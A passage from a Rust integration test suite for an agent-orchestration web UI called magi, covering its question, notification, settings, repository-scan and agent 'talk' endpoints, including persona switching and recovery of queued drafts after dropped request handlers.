8198 r#"{"choice":"Postgres"}"#,
8199 r#"{"text":"whatever you think"}"#,
8200 r#"{"choice":"Redis","text":"both"}"#,
8201 r#"{}"#,
8202 ] {
8203 let res = fx.post(&path, Some(body)).await;
8204 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8205 assert!(res.json()["error"].is_string(), "{}", res.body);
8206 }
8207 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8209 }
8210
8211 #[tokio::test]
8212 async fn a_free_text_question_takes_text_and_not_a_choice() {
8213 let fx = Fixture::start().await;
8214 let id = ask(&fx, "What should the flag be called?", &[]);
8215 let path = format!("/api/questions/{id}/answer");
8216
8217 assert_eq!(
8218 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8219 400
8220 );
8221 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8222 assert_eq!(res.status, 200, "{}", res.body);
8223 assert_eq!(res.json()["answer"]["text"], "--json");
8224 }
8225
8226 #[tokio::test]
8227 async fn an_unknown_question_is_a_json_404() {
8228 let fx = Fixture::start().await;
8229 let res = fx
8230 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8231 .await;
8232 assert_eq!(res.status, 404, "{}", res.body);
8233 assert!(res.json()["error"].is_string());
8234 }
8235
8236 #[tokio::test]
8237 async fn notifications_list_read_dismiss_and_health_agree() {
8238 let fx = Fixture::start().await;
8239 let store = Notices::at(fx.home.path().join("notifications"));
8240 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8241 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8242
8243 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8244 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8245
8246 let health = fx.get("/api/health").await.json();
8247 assert_eq!(health["notifications_unread"], 2);
8248 assert_ne!(
8249 health["notifications_rev"], rev0,
8250 "the badge must move live"
8251 );
8252
8253 let listed = fx.get("/api/notifications").await.json();
8254 assert_eq!(listed["unread"], 2);
8255 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8256 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8257
8258 let read = fx
8259 .post(&format!("/api/notifications/{}/read", a.id), None)
8260 .await;
8261 assert_eq!(read.status, 200, "{}", read.body);
8262 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8263
8264 let gone = fx
8265 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8266 .await;
8267 assert_eq!(gone.status, 200, "{}", gone.body);
8268 let listed = fx.get("/api/notifications").await.json();
8269 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8270 assert_eq!(listed["unread"], 0);
8271
8272 store.raise(Notice::info("x", "again")).unwrap();
8273 let all = fx.post("/api/notifications/read-all", None).await;
8274 assert_eq!(all.status, 200, "{}", all.body);
8275 assert_eq!(all.json()["marked"], 1);
8276 assert_eq!(
8277 fx.get("/api/health").await.json()["notifications_unread"],
8278 0
8279 );
8280
8281 let missing = fx.post("/api/notifications/nope/read", None).await;
8282 assert_eq!(missing.status, 404, "{}", missing.body);
8283 assert!(missing.json()["error"].is_string());
8284 }
8285
8286 #[tokio::test]
8293 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8294 let f = Fixture::start().await;
8295
8296 let res = f
8297 .post(
8298 "/api/queue",
8299 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8300 )
8301 .await;
8302
8303 assert_eq!(
8304 res.status, 405,
8305 "POST /api/queue must not be a route: {}",
8306 res.body
8307 );
8308 assert!(
8309 f.queue().list().is_empty(),
8310 "a task filed by a route that does not exist must not reach the disk"
8311 );
8312 assert_eq!(f.get("/api/queue").await.status, 200);
8315 }
8316
8317 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8319 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8320 .expect("checkout dir");
8321 }
8322
8323 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8325
8326 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8327 let tmp = TempDir::new().expect("tempdir");
8328 let repo = tmp.path().join("repo");
8329 std::fs::create_dir_all(&repo).expect("repo dir");
8330 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8331 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8332 if let Some(text) = machine_toml {
8333 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8334 std::fs::write(&machine, text).expect("machine toml");
8335 }
8336 (tmp, repo, machine)
8337 }
8338
8339 #[tokio::test]
8340 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8341 let (_tmp, repo, machine) =
8342 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8343 let f = Fixture::with_repo_and_machine(repo, machine).await;
8344 let res = f.get("/api/settings").await;
8345 assert_eq!(res.status, 200, "{}", res.body);
8346 let v = res.json();
8347 assert!(v["error"].is_null(), "{v}");
8348 let role = |k: &str| {
8349 v["roles"]
8350 .as_array()
8351 .and_then(|r| r.iter().find(|x| x["key"] == k))
8352 .cloned()
8353 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8354 };
8355 assert_eq!(role("judges")["source"], "machine");
8356 assert_eq!(role("judges")["editable"], true);
8357 assert_eq!(role("implementers")["source"], "default");
8358 let adv = role("advisors");
8359 assert_eq!(adv["fallback"], "judges");
8360 assert!(
8361 adv["seats"]
8362 .as_array()
8363 .is_some_and(|s| s.iter().all(|x| x == "b")),
8364 "{adv}"
8365 );
8366 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8367 assert_eq!(v["agents"][0]["source"], "repo");
8368 }
8369
8370 #[tokio::test]
8371 async fn settings_get_reports_a_config_that_does_not_parse() {
8372 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8373 let f = Fixture::with_repo_and_machine(repo, machine).await;
8374 let res = f.get("/api/settings").await;
8375 assert_eq!(res.status, 200, "{}", res.body);
8376 let v = res.json();
8377 assert!(v["error"]["message"].is_string(), "{v}");
8378 assert!(
8379 v["error"]["path"]
8380 .as_str()
8381 .is_some_and(|p| p.ends_with("magi.toml")),
8382 "{v}"
8383 );
8384 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8385 }
8386
8387 #[tokio::test]
8388 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8389 let (_tmp, repo, machine) = settings_dirs(
8390 SETTINGS_AGENTS,
8391 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8392 );
8393 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8394 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8395 let rev = f.get("/api/settings").await.json()["revision"]
8396 .as_str()
8397 .expect("revision")
8398 .to_owned();
8399 let body = serde_json::json!({
8400 "revision": rev,
8401 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8402 })
8403 .to_string();
8404 let res = f.put("/api/settings/roles", &body).await;
8405 assert_eq!(res.status, 200, "{}", res.body);
8406 let text = std::fs::read_to_string(&machine).expect("machine");
8407 assert_eq!(
8408 text,
8409 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8410 );
8411 assert_eq!(
8412 std::fs::read(repo.join("magi.toml")).expect("read"),
8413 repo_before
8414 );
8415 let again = f.get("/api/settings").await.json();
8416 let judges = again["roles"]
8417 .as_array()
8418 .expect("roles")
8419 .iter()
8420 .find(|r| r["key"] == "judges")
8421 .expect("judges")
8422 .clone();
8423 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8424 let stale = f.put("/api/settings/roles", &body).await;
8426 assert_eq!(stale.status, 409, "{}", stale.body);
8427 }
8428
8429 #[tokio::test]
8430 async fn settings_counts_are_reported_and_saved() {
8431 let (_tmp, repo, machine) = settings_dirs(
8432 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8433 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8434 );
8435 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8436 let v = f.get("/api/settings").await.json();
8437 let count = |v: &serde_json::Value, k: &str| {
8438 v["roles"]
8439 .as_array()
8440 .and_then(|r| r.iter().find(|x| x["key"] == k))
8441 .map(|x| x["count"].clone())
8442 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8443 };
8444 let imp = count(&v, "implementers");
8445 assert_eq!(imp["value"], 2);
8446 assert_eq!(imp["source"], "machine");
8447 assert_eq!(imp["file_key"], "candidates");
8448 assert_eq!(imp["roster_len"], 2);
8449 assert_eq!(imp["backups"], 0);
8450 assert_eq!(count(&v, "judges")["source"], "default");
8451 assert_eq!(count(&v, "advisors")["min"], 0);
8452 assert_eq!(count(&v, "reviewers")["editable"], false);
8453 assert!(
8454 count(&v, "reviewers")["locked_reason"]
8455 .as_str()
8456 .is_some_and(|m| m.contains("graph.reviewers"))
8457 );
8458 assert!(count(&v, "fixer").is_null());
8459 let rev = v["revision"].as_str().expect("revision").to_owned();
8460 let body = serde_json::json!({
8461 "revision": rev,
8462 "roles": { "judges": ["b"] },
8463 "counts": { "implementers": 1, "advisors": 0 }
8464 })
8465 .to_string();
8466 let res = f.put("/api/settings/roles", &body).await;
8467 assert_eq!(res.status, 200, "{}", res.body);
8468 let text = std::fs::read_to_string(&machine).expect("machine");
8469 assert_eq!(
8470 text,
8471 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8472 );
8473 let after = f.get("/api/settings").await.json();
8474 assert_eq!(count(&after, "implementers")["value"], 1);
8475 assert_eq!(count(&after, "implementers")["backups"], 1);
8476 assert_eq!(count(&after, "advisors")["value"], 0);
8477 let before = std::fs::read_to_string(&machine).expect("machine");
8478 let rev = after["revision"].as_str().expect("revision").to_owned();
8479 for counts in [
8480 serde_json::json!({ "judges": 0 }),
8481 serde_json::json!({ "judges": "x" }),
8482 serde_json::json!({ "judges": 2.5 }),
8483 serde_json::json!({ "judges": -1 }),
8484 serde_json::json!({ "reviewers": 3 }),
8485 serde_json::json!({ "bogus": 3 }),
8486 ] {
8487 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8488 let res = f.put("/api/settings/roles", &body).await;
8489 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8490 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8491 }
8492 }
8493
8494 #[tokio::test]
8495 async fn settings_put_refuses_without_touching_the_file() {
8496 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8497 let (_tmp, repo, machine) = settings_dirs(
8498 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8499 Some(machine_text),
8500 );
8501 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8502 let rev = f.get("/api/settings").await.json()["revision"]
8503 .as_str()
8504 .expect("revision")
8505 .to_owned();
8506 for roles in [
8507 serde_json::json!({ "judges": ["nope"] }),
8508 serde_json::json!({ "reviewers": ["b"] }),
8509 serde_json::json!({ "bogus": ["a"] }),
8510 ] {
8511 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8512 let res = f.put("/api/settings/roles", &body).await;
8513 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8514 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8515 assert_eq!(
8516 std::fs::read_to_string(&machine).expect("machine"),
8517 machine_text
8518 );
8519 }
8520 }
8521
8522 #[tokio::test]
8523 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8524 let tmp = TempDir::new().expect("tempdir");
8525 let repo = tmp.path().join("repo");
8526 std::fs::create_dir_all(&repo).expect("repo dir");
8527 let root = tmp.path().join("root");
8528 make_checkout(&root, "github.com", "yukimemi", "magi");
8529 std::fs::write(
8530 repo.join("magi.toml"),
8531 format!(
8532 "[repos]\nroots = [{:?}]\n",
8533 root.to_string_lossy().into_owned()
8534 ),
8535 )
8536 .expect("write magi.toml");
8537
8538 let f = Fixture::with_repo(repo).await;
8539 let res = f.get("/api/repos").await;
8540 assert_eq!(res.status, 200, "{}", res.body);
8541 let list = res.json();
8542 let repos = list.as_array().expect("an array");
8543 assert_eq!(repos.len(), 1);
8544 assert_eq!(repos[0]["name"], "yukimemi/magi");
8545 assert!(
8546 repos[0]["path"]
8547 .as_str()
8548 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8549 "{list}"
8550 );
8551 }
8552
8553 #[tokio::test]
8554 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8555 let tmp = TempDir::new().expect("tempdir");
8556 let repo = tmp.path().join("repo");
8557 std::fs::create_dir_all(&repo).expect("repo dir");
8558 let root = tmp.path().join("root");
8559 make_checkout(&root, "github.com", "yukimemi", "magi");
8560 std::fs::write(
8561 repo.join("magi.toml"),
8562 format!(
8563 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8564 root.to_string_lossy().into_owned()
8565 ),
8566 )
8567 .expect("write magi.toml");
8568
8569 let f = Fixture::with_repo(repo).await;
8570 let first = f.get("/api/repos").await;
8571 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8572
8573 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8576 let second = f.get("/api/repos").await;
8577 assert_eq!(
8578 second.json().as_array().map(Vec::len),
8579 Some(1),
8580 "a fresh cache must not rescan inside the TTL"
8581 );
8582
8583 let refreshed = f.get("/api/repos?refresh=1").await;
8584 assert_eq!(
8585 refreshed.json().as_array().map(Vec::len),
8586 Some(2),
8587 "an explicit refresh must rescan even inside the TTL"
8588 );
8589 }
8590
8591 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8597
8598 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8602 let tmp = TempDir::new().expect("tempdir");
8603 let repo = tmp.path().join("repo");
8604 std::fs::create_dir_all(&repo).expect("repo dir");
8605 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8606 let f = Fixture::with_repo(repo.clone()).await;
8607 (tmp, repo, f)
8608 }
8609
8610 #[tokio::test]
8611 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8612 let (_tmp, _repo, f) = talk_fixture().await;
8613
8614 let opened = f.post("/api/talks", None).await;
8617 assert_eq!(opened.status, 201, "{}", opened.body);
8618 let body = opened.json();
8619 assert_eq!(body["status"], "open");
8620 assert_eq!(
8621 body["turns"].as_array().unwrap().len(),
8622 0,
8623 "opening takes no agent turn: there is nothing yet to answer"
8624 );
8625
8626 let also_opened = f.post("/api/talks", Some("{}")).await;
8628 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8629
8630 let listed = f.get("/api/talks").await.json();
8631 assert_eq!(listed.as_array().unwrap().len(), 2);
8632 }
8633
8634 #[tokio::test]
8635 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8636 let tmp = TempDir::new().expect("tempdir");
8637 let repo = tmp.path().join("repo");
8638 std::fs::create_dir_all(&repo).expect("repo dir");
8639 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8640 std::fs::write(
8641 repo.join("magi.toml"),
8642 format!("{MOCK_AGENT_TOML}\n{second}"),
8643 )
8644 .expect("write magi.toml");
8645 let home = TempDir::new().expect("temp home");
8646 let talks = Talks::at(home.path().join("talks"));
8647 let ui = Arc::new(
8648 Ui::new(
8649 Queue::at(home.path().join("queue")),
8650 Questions::at(home.path().join("questions")),
8651 talks.clone(),
8652 home.path().join("runs"),
8653 home.path().to_path_buf(),
8654 repo.clone(),
8655 )
8656 .with_worktrees_root(home.path().join("wt")),
8657 );
8658 let cfg = config_for(&repo).await.expect("discover config");
8659 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8660 let id = talk.id.clone();
8661 let call = |agent: &str| {
8662 talk_agent(
8663 State(Arc::clone(&ui)),
8664 Path(id.clone()),
8665 Json(TalkAgent {
8666 agent: agent.to_owned(),
8667 }),
8668 )
8669 };
8670
8671 let unknown = call("nobody").await.expect_err("unknown agent");
8672 assert_eq!(
8673 unknown.status,
8674 StatusCode::BAD_REQUEST,
8675 "{}",
8676 unknown.message
8677 );
8678
8679 {
8680 let mut claimed = None;
8683 for _ in 0..200 {
8684 claimed = ui.begin_talk_turn(&id).expect("claim");
8685 if claimed.is_some() {
8686 break;
8687 }
8688 tokio::time::sleep(Duration::from_millis(10)).await;
8689 }
8690 let _busy = claimed.expect("free");
8691 let busy = call("second").await.expect_err("busy talk");
8692 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8693 }
8694 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8695
8696 let Json(view) = call("second").await.expect("switch");
8697 assert_eq!(view.talk.agent, "second");
8698 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8699 let saved = talks.get(&id).expect("reload");
8700 assert_eq!(saved.agent, "second");
8701 assert_eq!(saved.turns.len(), 1);
8702
8703 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8704 .await
8705 .expect("detail");
8706 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8707 assert_eq!(roster, ["mock", "second"]);
8708
8709 let mut closed = talks.get(&id).expect("reload");
8710 talk::close(&mut closed, &talks).expect("close");
8711 let refused = call("mock").await.expect_err("closed talk");
8712 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8713 }
8714
8715 #[tokio::test]
8716 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8717 let tmp = TempDir::new().expect("tempdir");
8718 let repo = tmp.path().join("repo");
8719 std::fs::create_dir_all(&repo).expect("repo dir");
8720 std::fs::write(
8721 repo.join("magi.toml"),
8722 format!(
8723 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8724 ),
8725 )
8726 .expect("write magi.toml");
8727 let home = TempDir::new().expect("temp home");
8728 let talks = Talks::at(home.path().join("talks"));
8729 let ui = Arc::new(
8730 Ui::new(
8731 Queue::at(home.path().join("queue")),
8732 Questions::at(home.path().join("questions")),
8733 talks.clone(),
8734 home.path().join("runs"),
8735 home.path().to_path_buf(),
8736 repo.clone(),
8737 )
8738 .with_worktrees_root(home.path().join("wt")),
8739 );
8740 let cfg = config_for(&repo).await.expect("discover config");
8741 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8742 let id = talk.id.clone();
8743 let call = |persona: &str| {
8744 talk_persona(
8745 State(Arc::clone(&ui)),
8746 Path(id.clone()),
8747 Json(TalkPersona {
8748 persona: persona.to_owned(),
8749 }),
8750 )
8751 };
8752
8753 let unknown = call("nobody").await.expect_err("unknown persona");
8754 assert_eq!(
8755 unknown.status,
8756 StatusCode::BAD_REQUEST,
8757 "{}",
8758 unknown.message
8759 );
8760
8761 {
8762 let mut claimed = None;
8763 for _ in 0..200 {
8764 claimed = ui.begin_talk_turn(&id).expect("claim");
8765 if claimed.is_some() {
8766 break;
8767 }
8768 tokio::time::sleep(Duration::from_millis(10)).await;
8769 }
8770 let _busy = claimed.expect("free");
8771 let busy = call("rei").await.expect_err("busy talk");
8772 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8773 }
8774 assert_eq!(talks.get(&id).expect("reload").persona, "");
8775
8776 let Json(view) = call("gendo").await.expect("switch to a configured persona");
8777 assert_eq!(view.talk.persona, "gendo");
8778 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8779
8780 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8781 .await
8782 .expect("detail");
8783 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8784 assert_eq!(ids.first(), Some(&"default"));
8785 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8786
8787 let Json(view) = call("default").await.expect("back to default");
8788 assert_eq!(view.talk.persona, "");
8789
8790 let mut closed = talks.get(&id).expect("reload");
8791 talk::close(&mut closed, &talks).expect("close");
8792 let refused = call("rei").await.expect_err("closed talk");
8793 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8794 }
8795
8796 #[tokio::test]
8797 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8798 let f = Fixture::start().await;
8799 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8800 let queue = f.queue();
8801 let mut mine = Task::new(
8802 "rename the loader".to_owned(),
8803 "rename the loader".to_owned(),
8804 PathBuf::from("/repo/magi"),
8805 Source::Agent {
8806 run: talk_id.clone(),
8807 node: "chat".to_owned(),
8808 },
8809 );
8810 queue.put(&mut mine).expect("file the task");
8811 let mut theirs = Task::new(
8812 "unrelated".to_owned(),
8813 "unrelated".to_owned(),
8814 PathBuf::from("/repo/magi"),
8815 Source::Human,
8816 );
8817 queue.put(&mut theirs).expect("file the task");
8818
8819 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8820 assert_eq!(res.status, 200, "{}", res.body);
8821 let body = res.json();
8822 assert_eq!(
8823 body["status"], "open",
8824 "filing a task does not close a talk"
8825 );
8826 let tasks = body["tasks"].as_array().expect("tasks array");
8827 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8828 assert_eq!(tasks[0]["id"], mine.id);
8829 }
8830
8831 #[tokio::test]
8832 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8833 let (_tmp, _repo, f) = talk_fixture().await;
8834 let id = f.post("/api/talks", None).await.json()["id"]
8835 .as_str()
8836 .expect("id")
8837 .to_owned();
8838
8839 let res = f
8840 .post(
8841 &format!("/api/talks/{id}/say"),
8842 Some(r#"{"text":"what does the queue module do?"}"#),
8843 )
8844 .await;
8845 assert_eq!(res.status, 202, "{}", res.body);
8846 let queued = res.json();
8847 let turns = queued["turns"].as_array().expect("turns array");
8848 assert_eq!(
8849 turns.len(),
8850 1,
8851 "the answer reflects only what is on disk the instant it is sent, \
8852 before the agent's turn - which can run for the whole of \
8853 `[graph] timeout_talk` - has a chance to land: {queued}"
8854 );
8855 assert_eq!(turns[0]["who"], "operator");
8856 assert_eq!(turns[0]["body"], "what does the queue module do?");
8857 assert_eq!(
8858 queued["thinking"], true,
8859 "the accepted response exposes the background turn claim: {queued}"
8860 );
8861
8862 let mut turns_after = 1;
8863 for _ in 0..SETTLE_STEPS {
8864 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8865 turns_after = detail["turns"].as_array().expect("turns array").len();
8866 if turns_after == 2 {
8867 break;
8868 }
8869 tokio::time::sleep(Duration::from_millis(10)).await;
8870 }
8871 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8872 }
8873
8874 #[tokio::test]
8901 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8902 let tmp = TempDir::new().expect("tempdir");
8903 let repo = tmp.path().join("repo");
8904 std::fs::create_dir_all(&repo).expect("repo dir");
8905 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8906 let home = TempDir::new().expect("temp home");
8907 let talks = Talks::at(home.path().join("talks"));
8908 let ui = Arc::new(
8909 Ui::new(
8910 Queue::at(home.path().join("queue")),
8911 Questions::at(home.path().join("questions")),
8912 talks.clone(),
8913 home.path().join("runs"),
8914 home.path().to_path_buf(),
8915 repo.clone(),
8916 )
8917 .with_worktrees_root(home.path().join("wt")),
8918 );
8919 let cfg = config_for(&repo).await.expect("discover config");
8920
8921 for delay in 0..40u32 {
8922 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8923 let id = talk.id.clone();
8924
8925 let handler = tokio::spawn(talk_say(
8926 State(Arc::clone(&ui)),
8927 Path(id.clone()),
8928 Ok(Json(NewTalkTurn {
8929 text: "what does the queue module do?".to_owned(),
8930 attachments: Vec::new(),
8931 })),
8932 ));
8933 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8934 handler.abort();
8935 let _ = handler.await;
8938
8939 let mut turns = 0;
8940 for _ in 0..SETTLE_STEPS {
8941 if let Ok(fresh) = talks.get(&id) {
8942 turns = fresh.turns.len();
8943 if turns != 1 {
8944 break;
8945 }
8946 }
8947 tokio::time::sleep(Duration::from_millis(10)).await;
8948 }
8949 assert_ne!(
8950 turns, 1,
8951 "delay {delay}: talk {id} recorded the operator's turn but \
8952 the agent never answered - the reply task was never \
8953 started after the handler future was dropped"
8954 );
8955 }
8956 }
8957
8958 #[tokio::test]
9003 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9004 let tmp = TempDir::new().expect("tempdir");
9005 let repo = tmp.path().join("repo");
9006 std::fs::create_dir_all(&repo).expect("repo dir");
9007 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9008 let home = TempDir::new().expect("temp home");
9009 let talks = Talks::at(home.path().join("talks"));
9010 let ui = Arc::new(
9011 Ui::new(
9012 Queue::at(home.path().join("queue")),
9013 Questions::at(home.path().join("questions")),
9014 talks.clone(),
9015 home.path().join("runs"),
9016 home.path().to_path_buf(),
9017 repo.clone(),
9018 )
9019 .with_worktrees_root(home.path().join("wt")),
9020 );
9021 let cfg = config_for(&repo).await.expect("discover config");
9022
9023 for attempt in 0..3u32 {
9024 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9025 let id = talk.id.clone();
9026 let turn_guard = ui
9029 .begin_talk_turn(&id)
9030 .expect("claim the turn")
9031 .expect("a fresh talk owes nobody a turn");
9032
9033 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9034 let (release_tx, release_rx) = std::sync::mpsc::channel();
9035 ui.set_busy_queue_gate(BusyQueueGate {
9036 reached: reached_tx,
9037 release: release_rx,
9038 });
9039
9040 let handler = tokio::spawn(talk_say(
9041 State(Arc::clone(&ui)),
9042 Path(id.clone()),
9043 Ok(Json(NewTalkTurn {
9044 text: "what does the queue module do?".to_owned(),
9045 attachments: Vec::new(),
9046 })),
9047 ));
9048
9049 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9054 .await
9055 .unwrap_or_else(|_| {
9056 panic!(
9057 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9058 )
9059 })
9060 .expect("the busy branch dropped the gate without using it");
9061
9062 let running = talks.get(&id).expect("reload talk");
9069 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9070
9071 handler.abort();
9075 let _ = handler.await;
9076
9077 let _ = release_tx.send(());
9083
9084 let mut fresh = talks.get(&id).expect("reload talk");
9087 for _ in 0..SETTLE_STEPS {
9088 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9089 break;
9090 }
9091 tokio::time::sleep(Duration::from_millis(10)).await;
9092 fresh = talks.get(&id).expect("reload talk");
9093 }
9094 assert!(
9095 fresh.pending.is_empty() && fresh.turns.len() == 2,
9096 "attempt {attempt}: talk {id} left the operator's text queued \
9097 with no drainer - the reclaimed turn was dropped along with \
9098 the handler future (pending {:?}, {} turns)",
9099 fresh.pending,
9100 fresh.turns.len()
9101 );
9102 }
9103 }
9104
9105 #[tokio::test]
9106 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9107 let (_tmp, _repo, f) = talk_fixture().await;
9108 let id = f.post("/api/talks", None).await.json()["id"]
9109 .as_str()
9110 .expect("id")
9111 .to_owned();
9112 let store = f.talks();
9113 let mut recovered = store.get(&id).expect("opened talk");
9114 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9115 .expect("persist pending draft without a live turn");
9116
9117 let edited = f
9118 .post(
9119 &format!("/api/talks/{id}/pending/edit"),
9120 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9121 )
9122 .await;
9123 assert_eq!(edited.status, 200, "{}", edited.body);
9124 assert!(edited.json()["thinking"].as_bool().unwrap());
9125
9126 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9127 for _ in 0..SETTLE_STEPS {
9128 if detail["turns"].as_array().expect("turns").len() == 2 {
9129 break;
9130 }
9131 tokio::time::sleep(Duration::from_millis(10)).await;
9132 detail = f.get(&format!("/api/talks/{id}")).await.json();
9133 }
9134 let turns = detail["turns"].as_array().expect("turns");
9135 assert_eq!(
9136 turns.len(),
9137 2,
9138 "the recovered draft must run once: {detail}"
9139 );
9140 assert_eq!(turns[0]["body"], "corrected");
9141 assert_eq!(detail["pending"], "");
9142 }
9143
9144 #[tokio::test]
9145 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9146 let tmp = TempDir::new().expect("tempdir");
9147 let repo = tmp.path().join("repo");
9148 std::fs::create_dir_all(&repo).expect("repo dir");
9149 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9150 let f = Fixture::with_repo(repo).await;
9151 let id = f.post("/api/talks", None).await.json()["id"]
9152 .as_str()
9153 .expect("id")
9154 .to_owned();
9155 let store = f.talks();
9156 let mut recovered = store.get(&id).expect("opened talk");
9157 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9158 .expect("persist pending draft without a live turn");
9159
9160 let refused = f
9161 .post(
9162 &format!("/api/talks/{id}/say"),
9163 Some(r#"{"text":"new message"}"#),
9164 )
9165 .await;
9166 assert_eq!(refused.status, 409, "{}", refused.body);
9167 assert!(refused.body.contains("resume"), "{}", refused.body);
